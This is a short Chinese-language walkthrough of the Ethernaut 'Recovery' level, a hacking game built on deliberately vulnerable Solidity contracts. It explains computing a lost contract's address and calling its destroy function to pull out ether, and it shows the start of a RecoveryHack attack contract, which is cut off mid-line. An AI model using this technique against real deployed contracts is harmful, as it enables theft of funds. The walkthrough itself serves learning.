Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目Recovery 创建 SimpleToken 合约地址忘记了,而且向里面转了0.001 ether 个ether, 需要想办法吧ether转出来。Hack思路找到丢失的合约地址模拟计算方法,原来是标准的创建,很容模拟。其他技巧调用 destroy 方法攻击代码interface ISimpleToken { function destroy(address payable _to) external; } contract RecoveryHack { ISimpleToken public exploitInst; address public simpleToken; constructor(address _target) { simpleToken = address(uint160(uint256(keccak2...